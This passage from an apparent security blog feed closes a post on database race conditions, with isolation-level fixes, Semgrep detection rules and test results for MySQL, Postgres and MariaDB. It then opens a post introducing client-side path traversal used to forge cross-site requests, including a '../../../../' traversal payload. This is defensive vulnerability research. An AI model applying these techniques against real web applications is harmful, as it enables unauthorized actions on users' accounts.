&lt;p&gt;On a conceptual level, the fix only requires the start of the critical section to be moved to the beginning of the transaction. This will ensure that the transaction which first reads the entry gets exclusive access to it and is the only one allowed to commit. All others will wait for its completion.&lt;/p&gt;

&lt;p&gt;Mitigation can be implemented in a number of ways. Some of them require manual work, while others come out of the box, provided by the database of choice. Let’s start by looking at the simplest and generally preferred way: setting the transaction isolation level to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Serializable&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;As mentioned before, the isolation level is a user/developer controlled property of a database transaction. It can be set by simply specifying it when creating a transaction:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;BEGIN&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TRANSACTION&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SET&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TRANSACTION&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;ISOLATION&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;LEVEL&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SERIALIZABLE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This may slightly vary from database to database, so it’s always best to consult the appropriate documentation. Usually ORMs or database drivers provide an application level interface for setting the desired isolation level. Postgres’ Go driver &lt;a href=&quot;https://github.com/jackc/pgx&quot;&gt;pgx&lt;/a&gt; allows users to do the following:&lt;/p&gt;

&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;tx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BeginTx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pgx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TxOptions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IsoLevel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pgx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Serializable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It is worth noting that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Serizalizable&lt;/code&gt;, being the highest isolation level, may have an impact of the performance of your application. However, its use can be limited to only the business-critical transaction. All other transactions can remain unchanged and be executed with the database’s default isolation level or any appropriate level for that particular operation.&lt;/p&gt;

&lt;p&gt;One alternative to this method is implementing pessimistic locking via manual locking. The idea behind this method is that the business-critical transaction will obtain all required locks at the beginning and only release them when the transaction completes or fails. This ensures that no other concurrently executing transaction will be able to interfere. Manual locking can be performed by specifying the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FOR SHARE&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FOR UPDATE&lt;/code&gt; options your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT&lt;/code&gt; operations:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;balance&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FOR&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;UPDATE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This will instruct the database to place a shared or exclusive lock, respectively, to all entries returned by the read operation, effectively disallowing any modification to it until the lock is released. This method can, however, be error prone. There is always a possibility that other operations may get overlooked or new ones will be added without the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FOR SHARE / FOR UPDATE&lt;/code&gt; option, potentially re-introducing the data race. Additionally, scenarios such as the one shown below, may be possible at lower isolation levels.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;/public/images/db-race-lost-update.svg&quot; alt=&quot;Lost Update&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 600px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;The graph shows a scenario where ‘tx2’ performs validation on a value which becomes stale after &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tx1&lt;/code&gt; commits, and ends up overwriting the update performed by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tx1&lt;/code&gt;, leading to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Lost Update&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Finally, mitigation can also be implemented using optimistic locking. The conceptual opposite of pessimistic locking, optimistic locking expects that nothing will go wrong and only performs conflict detection at the end of the transaction. If a conflict is detected (i.e., underlining data was modified by a concurrent transaction), the transaction will fail and will need to be retried. This method is usually implemented using a logic clock, or a table column, whose value must not change during the execution of the transaction.&lt;/p&gt;

&lt;p&gt;The simplest way to implement this is by introducing a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;version&lt;/code&gt; column in your table:&lt;/p&gt;
&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;TABLE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;INT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;PRIMARY&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;KEY&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NULL&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AUTO_INCREMENT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
  &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;TEXT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
  &lt;span class=&quot;n&quot;&gt;balance&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;INT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;version&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;INT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NULL&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AUTO_INCREMENT&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The value of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;version&lt;/code&gt; column must then be always verified when performing any write/update operations to the database. If the value changed, the operation will fail, failing the entire transaction.&lt;/p&gt;
&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;UPDATE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SET&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;balance&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AND&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;version&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;last_seen_version&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;detection&quot;&gt;Detection&lt;/h2&gt;

&lt;p&gt;If the application uses an ORM, setting the isolation level would usually entails calling a setter function, or supplying it as a function parameter. On the other hand, if the application constructs database transactions using raw SQL statements, the isolation level will be supplied as part of the transaction’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BEGIN&lt;/code&gt; statement.&lt;/p&gt;

&lt;p&gt;Both those methods represent a pattern which can be search for using tools such as &lt;a href=&quot;https://semgrep.dev/&quot;&gt;Semgrep&lt;/a&gt;. So, if we assume that our application is build using Go and uses the &lt;a href=&quot;https://github.com/jackc/pgx&quot;&gt;pgx&lt;/a&gt; to  access to data stored in a Postgres database, we can use the following Semgrep rules to detect instances of unspecified isolation levels.&lt;/p&gt;

&lt;h3 id=&quot;1-raw-sql-transaction&quot;&gt;1. Raw SQL Transaction&lt;/h3&gt;
&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;rules&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;pgx-sql-tx-missing-isolation-level&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;SQL&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;transaction&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;without&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;isolation&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;level&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;languages&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;go&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;severity&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;WARNING&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;patterns&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;$CONN.Exec($CTX, $BEGIN)&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;metavariable-regex&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;na&quot;&gt;metavariable&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;$BEGIN&lt;/span&gt;
          &lt;span class=&quot;na&quot;&gt;regex&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;(&quot;begin transaction&quot;|&quot;BEGIN TRANSACTION&quot;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;2-missing-pgx-transaction-creation-options&quot;&gt;2. Missing pgx Transaction Creation Options&lt;/h3&gt;
&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;rules&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;pgx-tx-missing-options&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Postgres&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;transaction&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;options&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;not&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;set&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;languages&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;go&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;severity&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;WARNING&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;patterns&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;$CONN.BeginTx($CTX)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;3-missing-isolation-level-in-pgq-transaction-creation-options&quot;&gt;3. Missing Isolation Level in pgq Transaction Creation Options&lt;/h3&gt;
&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;rules&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;pgx-tx-missing-options-isolation&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Postgres&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;transaction&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;isolation&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;level&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;not&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;set&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;languages&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;go&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;severity&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;WARNING&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;patterns&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;$CONN.BeginTx($CTX, $OPTS)&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;metavariable-pattern&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;na&quot;&gt;metavariable&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;$OPTS&lt;/span&gt;
          &lt;span class=&quot;na&quot;&gt;patterns&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern-not&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;&amp;gt;&lt;/span&gt;
                &lt;span class=&quot;s&quot;&gt;$PGX.TxOptions{..., IsoLevel:$LVL, ...}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;All these patterns can be easily modified to suit you tech-stack and database of choice.&lt;/p&gt;

&lt;p&gt;It’s important to note that rules like these are not a complete solution. Integrating them blindly into an existing pipeline will result in a lot of noise. We would rather recommend using them to build an inventory of all transactions the application performs, and use that information as a starting point to review the application and apply hardening if it is required.&lt;/p&gt;

&lt;h2 id=&quot;closing-thoughts&quot;&gt;Closing Thoughts&lt;/h2&gt;

&lt;p&gt;To finish up, we should emphasize that this is not a bug in database engines. This is part of how isolation levels were designed and implemented and it is clearly described in both the SQL specification and dedicated documentation for each database. Transactions and isolation levels were designed to protect concurrent operations from interfering with each other. Mitigations against data races and race conditions, however, are not their primary use case. Unfortunately, we found that this is a common misconception.&lt;/p&gt;

&lt;p&gt;While usage of transactions will help guard the application from data corruptions under normal circumstances, it is not sufficient to mitigate data races. When this insecure pattern is introduced in business-critical code (account management functionality, financial transactions, discount code application, etc.), the likelihood of it being exploitable is high. For that reason, review your application’s business-critical operations and verify that they are doing proper data locking.&lt;/p&gt;

&lt;h2 id=&quot;resources&quot;&gt;Resources&lt;/h2&gt;

&lt;p&gt;This research was presented by Viktor Chuchurski (&lt;a href=&quot;https://x.com/viktorot&quot;&gt;@viktorot&lt;/a&gt;) at the 2024 OWASP Global AppSec conference in Lisbon. The recording of that presentation can be found &lt;a href=&quot;https://www.youtube.com/watch?v=CdWQGpV2LI0&quot;&gt;here&lt;/a&gt; and the presentation slides can be downloaded &lt;a href=&quot;https://www.doyensec.com/resources/Global_AppSec_Lisbon_A_Race_To_The_Bottom.pdf&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Playground code can be found on Doyensec’s &lt;a href=&quot;https://github.com/doyensec/db-race-conditions-playground&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;more-information&quot;&gt;More information&lt;/h2&gt;

&lt;p&gt;If you would like to learn more about our other research, check out our blog, follow us on X (&lt;a href=&quot;https://x.com/doyensec&quot;&gt;@doyensec&lt;/a&gt;) or feel free to contact us at &lt;a href=&quot;mailto:info@doyensec.com&quot;&gt;info@doyensec.com&lt;/a&gt; for more information on how we can help your organization “Build with Security”.&lt;/p&gt;

&lt;h2 id=&quot;appendix---testing-results&quot;&gt;Appendix - Testing Results&lt;/h2&gt;
&lt;p&gt;The table below shows which isolation level allowed race condition to happen for the databases we tested as part of our research.&lt;/p&gt;
&lt;table class=&quot;table&quot;&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th scope=&quot;col&quot;&gt;&lt;/th&gt;
      &lt;th scope=&quot;col&quot;&gt;RU&lt;/th&gt;
      &lt;th scope=&quot;col&quot;&gt;RC&lt;/th&gt;
      &lt;th scope=&quot;col&quot;&gt;RR&lt;/th&gt;
      &lt;th scope=&quot;col&quot;&gt;S&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;th scope=&quot;row&quot;&gt;MySQL&lt;/th&gt;
      &lt;td style=&quot;font-weight: bold; color: #1abe1a;&quot;&gt;Y&lt;/td&gt;
      &lt;td style=&quot;font-weight: bold; color: #1abe1a;&quot;&gt;Y&lt;/td&gt;
      &lt;td style=&quot;font-weight: bold; color: #1abe1a;&quot;&gt;Y&lt;/td&gt;
      &lt;td style=&quot;font-weight: bold; color: #e82929;&quot;&gt;N&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th scope=&quot;row&quot;&gt;Postgres&lt;/th&gt;
      &lt;td style=&quot;font-weight: bold; color: #1abe1a;&quot;&gt;Y&lt;/td&gt;
      &lt;td style=&quot;font-weight: bold; color: #1abe1a;&quot;&gt;Y&lt;/td&gt;
      &lt;td style=&quot;font-weight: bold; color: #e82929;&quot;&gt;N&lt;/td&gt;
      &lt;td style=&quot;font-weight: bold; color: #e82929;&quot;&gt;N&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;th scope=&quot;row&quot;&gt;MariaDB&lt;/th&gt;
      &lt;td style=&quot;font-weight: bold; color: #1abe1a;&quot;&gt;Y&lt;/td&gt;
      &lt;td style=&quot;font-weight: bold; color: #1abe1a;&quot;&gt;Y&lt;/td&gt;
      &lt;td style=&quot;font-weight: bold; color: #1abe1a;&quot;&gt;Y&lt;/td&gt;
      &lt;td style=&quot;font-weight: bold; color: #e82929;&quot;&gt;N&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
</content>
 </entry>
 
 <entry>
   <title>Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery - Introducing CSPT2CSRF</title>
   <link href="https://blog.doyensec.com/2024/07/02/cspt2csrf.html"/>
   <updated>2024-07-02T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2024/07/02/cspt2csrf</id>
   <content type="html">&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/cspt2csrf_doyensec.png&quot; alt=&quot;Doyensec CSPT2CSRF&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 400px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;To provide users with a safer browsing experience, the IETF proposal named “Incrementally Better Cookies” set in motion a few important changes to address Cross-Site Request Forgery (CSRF) and other client-side issues. Soon after, Chrome and other major browsers implemented the recommended changes and introduced the SameSite attribute. SameSite helps mitigate CSRF, but does that mean CSRF is dead?&lt;/p&gt;

&lt;p&gt;While auditing major web applications, we realized that Client Side Path-Traversal (CSPT) can be actually leveraged to resuscitate CSRF for the joy of all pentesters.&lt;/p&gt;

&lt;p&gt;This blog post is a brief introduction to my research. The detailed findings, methodologies, and in-depth analysis are available in the &lt;a href=&quot;https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_Whitepaper.pdf&quot;&gt;whitepaper&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This research introduces the basics of Client-Side Path Traversal, presenting sources and sinks for Cross-Site Request Forgery. To demonstrate the impact and novelty of our discovery, we showcased vulnerabilities in major web messaging applications, including Mattermost and Rocket.Chat, among others.&lt;/p&gt;

&lt;p&gt;Finally, we are releasing a &lt;a href=&quot;https://github.com/doyensec/CSPTBurpExtension&quot;&gt;Burp extension&lt;a&gt; to help discover Client-Side Path-Traversal sources and sinks.&lt;/a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Thanks to the Mattermost and Rocket.Chat teams for their collaboration and authorization to share this.&lt;/p&gt;

&lt;h1 id=&quot;client-side-path-traversal-cspt&quot;&gt;Client-Side Path Traversal (CSPT)&lt;/h1&gt;

&lt;p&gt;Every security researcher should know what a path traversal is. This vulnerability gives an attacker the ability to use a payload like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../../../../&lt;/code&gt; to read data outside the intended directory. Unlike server-side path traversal attacks, which read files from the server, client-side path traversal attacks focus on exploiting this weakness in order to make requests to unintended API endpoints.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/cspt2csrf-simple.png&quot; alt=&quot;Doyensec CSPT2CSRF&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 400px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;While this class of vulnerabilities is very popular on the server side, only a few occurrences of Client-Side Path Traversal have been widely publicized. The first reference we found was a &lt;a href=&quot;https://www.facebook.com/notes/996734990846339/&quot;&gt;bug&lt;/a&gt; reported by Philippe Harewood in the Facebook bug bounty program. Since then, we have only found a few references about Client-Side Path Traversal:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;a &lt;a href=&quot;https://x.com/samwcyo/status/1437030056627523590&quot;&gt;tweet&lt;/a&gt; from Sam Curry back in 2021&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab/-/issues/365427&quot;&gt;1-click CSRF&lt;/a&gt; in GitLab by Johan Carlsson&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html&quot;&gt;CSS Injection&lt;/a&gt; by Medi, nominated in the &lt;a href=&quot;https://portswigger.net/research/top-10-web-hacking-techniques-of-2022&quot;&gt;Portswigger Top 10 Web hacking techniques of 2022&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;a &lt;a href=&quot;https://erasec.be/blog/client-side-path-manipulation/&quot;&gt;CSRF&lt;/a&gt; by Antoine Roly from Erasec&lt;/li&gt;
  &lt;li&gt;Some other references were found about Client-Side CSRF from OWASP and in &lt;a href=&quot;https://www.usenix.org/system/files/sec21-khodayari.pdf&quot;&gt;this&lt;/a&gt; research paper by Soheil Khodayari and Giancarlo Pellegrino.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Client Side Path-Traversal has been overlooked for years. While considered by many as a low-impact vulnerability, it can be actually used to force an end user to execute unwanted actions on a web application.&lt;/p&gt;

&lt;h1 id=&quot;client-side-path-traversal-to-perform-cross-site-request-forgery-cspt2csrf&quot;&gt;Client-Side Path Traversal to Perform Cross-Site Request Forgery (CSPT2CSRF)&lt;/h1&gt;

